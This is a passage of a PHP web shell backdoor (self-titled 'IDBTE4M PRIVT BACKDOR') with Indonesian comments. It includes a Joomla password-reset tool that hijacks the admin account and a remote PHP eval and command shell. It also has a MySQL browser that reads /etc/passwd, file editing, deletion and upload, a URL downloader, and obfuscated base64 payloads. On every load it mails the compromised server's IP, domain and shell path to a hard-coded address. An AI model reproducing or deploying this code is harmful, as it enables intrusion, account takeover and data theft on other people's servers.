5834function lohgin($fak1,$fak2,$fak3,$fak4,$fak5){
5835 $post2 = array(
5836 "username" => "$fak1",
5837 "passwd" => "$fak2",
5838 "lang" => "en-GB",
5839 "option" => "com_login",
5840 "task" => "login",
5841 "return" => "$fak3",
5842 "$fak4" => "1",
5843
5844 );
5845$ch = curl_init ("$cek");
5846curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
5847curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
5848curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
5849curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
5850curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
5851curl_setopt ($ch, CURLOPT_POST, 1);
5852curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
5853curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
5854curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
5855$data6 = curl_exec ($ch);
5856return $data6;
5857 }
5858
5859 $link = $_POST['link'];
5860 if($link==""){
5861 echo "Report: <br>";
5862 echo "-> Link Config anda belum terisi <-";
5863 }
5864 else{
5865
5866 $file = anucurl($link);
5867
5868 $host = jipukteks($file,"smtphost = '","'");
5869 $username = jipukteks($file,"user = '","'");
5870 $password = jipukteks($file,"password = '","'");
5871 $db = jipukteks($file,"db = '","'");
5872 $dbprefix = jipukteks($file,"dbprefix = '","'");
5873 $user_baru = "admin";
5874 $password_baru = "jakrapp";
5875 $prefix = $dbprefix."users";
5876 $pass = md5("$password_baru");
5877 $serah = $db.".".$dbprefix;
5878
5879
5880 echo "<font color='#C6C646'>Database Content :</font><br>";
5881 echo "Db Host          : <font color='green'>$host</font><br>";
5882 echo "Db user           : <font color='green'>$username</font><br>";
5883 echo "Db Password  : <font color='green'>$password</font><br>";
5884 echo "Db name         : <font color='green'>$db</font><br>";
5885 echo "Table_Prefix   : <font color='green'>$dbprefix</font><br>";
5886
5887 mysql_connect($host,$username,$password) or die("<br><font color='red'>Gagal Terkoneksi Ke Database ...</font>");
5888 mysql_select_db($db) or die("<font color='red'>Database tidak bisa dibuka ...</font>");
5889
5890 $show=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
5891 $r=mysql_fetch_array($show);
5892 $id = $r[id];
5893
5894 mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
5895$utama = "$link";
5896$kedua = @file_get_contents($utama);
5897if(preg_match("askdasldasdlja12123",$kedua)){
5898 echo "# <font color='green'>berhasil rubah password</font><br>";
5899 echo "# $utama<br>";
5900
5901 }
5902 else{
5903 echo "<br># <font color='green'>Pasword berhasil dirubah: </font><br>";
5904 echo "Username: <font color='#C6C646'>$user_baru</font><br>";
5905 echo "Password: <font color='#C6C646'>$password_baru</font><br>";
5906
5907
5908 }
5909 }
5910
5911
5912
5913
5914 }else{
5915 echo '<html>
5916 <body>
5917 <center>
5918 <center><br><span style="font-size:1.6em;"> .: Joomla Password Reset | Tools :. </span><br>Coded by Bl4ckcod37</center><br>
5919 <table>
5920 <tr><td><form method="post"></td></tr>
5921 <tr><td><input class="inputz" size=50 type="text" name="link" placeholder="masukkan link config disini"></td></tr>
5922
5923 <tr><td>                                                 <input
5924class="inputz" type="submit" value="Reset"></td></tr>
5925 </form>
5926 </table>
5927
5928 </center>
5929
5930 </body>
5931</html><br><br><br><br>';
5932 }
5933}
5934 ?>
5935
5936 </div></div></div></div></div></div>
5937<?php
5938 if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
5939 <form action="?y=<?php echo $pwd; ?>&x=php" method="post">
5940 <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); }
5941 else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea>
5942 <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form>
5943 <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
5944 if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
5945 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
5946 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
5947 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
5948 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>"; if(isset($_GET['db']))
5949 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
5950 if(isset($_GET['table'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
5951 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
5952 $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
5953 $db = $_GET['db']; $query = "DROP TABLE IF EXISTS j4kr4pp_table;\nCREATE TABLE `j4kr4pp_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE j4kr4pp_table;SELECT * FROM j4kr4pp_table;\nDROP TABLE IF EXISTS j4kr4pp_table;";
5954 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
5955 $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables);
5956 foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; }
5957 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array();
5958 $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z']))
5959 $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){
5960 if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
5961 for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){
5962 if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) {
5963 if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
5964 $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?>
5965 <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
5966 <input type="hidden" name="x" value="mysql" />
5967 <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr>
5968 <tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
5969 <tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
5970 <tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
5971 <tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form>
5972 <?php }}
5973 elseif(isset($_GET['jak']) && ($_GET['jak'] == 'phpinfo')){ @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; }
5974 elseif(isset($_GET['jak']) && ($_GET['jak'] == 'jump')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
5975 elseif(isset($_GET['jak']) && ($_GET['jak'] == 'wpp')){ @eval(gzinflate(base64_decode($wpress))); "</div>"; }
5976
5977 elseif(isset($_GET['jak']) && ($_GET['jak'] != "view")){ if(is_file($_GET['jak'])){ if(!isset($file)) $file = magicboom($_GET['jak']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
5978 if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time());
5979 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>
5980 <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
5981 <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content">
5982 <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
5983 <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr> </table> </form> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']);
5984 $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?>
5985 <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
5986 <table class="tabnet" style="width:320px;padding:0 1px;">
5987 <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr>
5988 <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
5989 <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
5990 <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td>
5991 <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table>
5992 <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
5993
5994 <?php if(isset($_GET['jak']) && ($_GET['jak'] == '?')){ @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); $tujuanmail = 'jakataruna09@gmail.com'; $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]"; mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); }?>
5995 <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
5996 <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?>
5997
5998 <p><center><div class="info">-=[ IDBTE4M PRIVT BACKDOR Recoded By JakRapp ]=-</div>
5999 <?php
6000$sgb2= "jakataruna09@gmail.com";
6001$ip = getenv("REMOTE_ADDR");
6002$host= gethostname();
6003$ips = gethostbyname($host);
6004$server = $_SERVER['SERVER_NAME'];
6005$shost = $_SERVER['HTTP_HOST'];
6006$pageName = basename($_SERVER['SCRIPT_NAME']);
6007$dir = $_SERVER["PHP_SELF"];
6008date_default_timezone_set("Asia/Jakarta");
6009$date = date("d F Y");
6010$time = date("H:i:s");
6011$message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Uploader Result ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
6012$message .= "Klien IP : ".$ip."\n";
6013$message .= "Server IP : ".$ips."\n";
6014$message .= "HostName : ".$host."\n";
6015$message .= "Domain : ".$server."\n";
6016$message .= "Letak uploader : ".$dir."/".$pageName."?jakrapp\n";
6017$message .= "Tanggal : ".$date."\n";
6018$message .= "Waktu eksekusi : ".$time."\n";
6019$message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Done ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
6020$subject = "Uploader $server";
6021$headers = "From: info@jakrapp.com\r\n";
6022mail($sgb2,$subject,$message,$headers);
6023mail($send,$subject,$message,$headers);
6024?>
6025<?php if (isset($_GET['jakrapp'])) {
6026 echo "<body bgcolor=white>
6027<font color=black size=3>";
6028 echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
6029<label for=\"file\"></label>
6030<input type=\"file\" name=\"file\" id=\"file\" />
6031<br />
6032<input type=\"submit\" name=\"submit\" value=\"UPLOAD\">
6033</form>";
6034 if ($_FILES["file"]["error"] > 0) {
6035 echo "Error: " . $_FILES["file"]["error"] . "<br />";
6036 } else {
6037 echo "Upload: " . $_FILES["file"]["name"] . "<br />";
6038 echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
6039 echo "Stored in: " . $_FILES["file"]["tmp_name"];
6040 }
6041 if (file_exists("" . $_FILES["file"]["name"])) {
6042 echo $_FILES["file"]["name"] . " already exists. ";
6043 } else {
6044 move_uploaded_file($_FILES["file"]["tmp_name"], "" . $_FILES["file"]["name"]);
6045 echo "<br>Stored in: " . "" . $_FILES["file"]["name"];
6046 echo "<hr>";
6047 }
6048}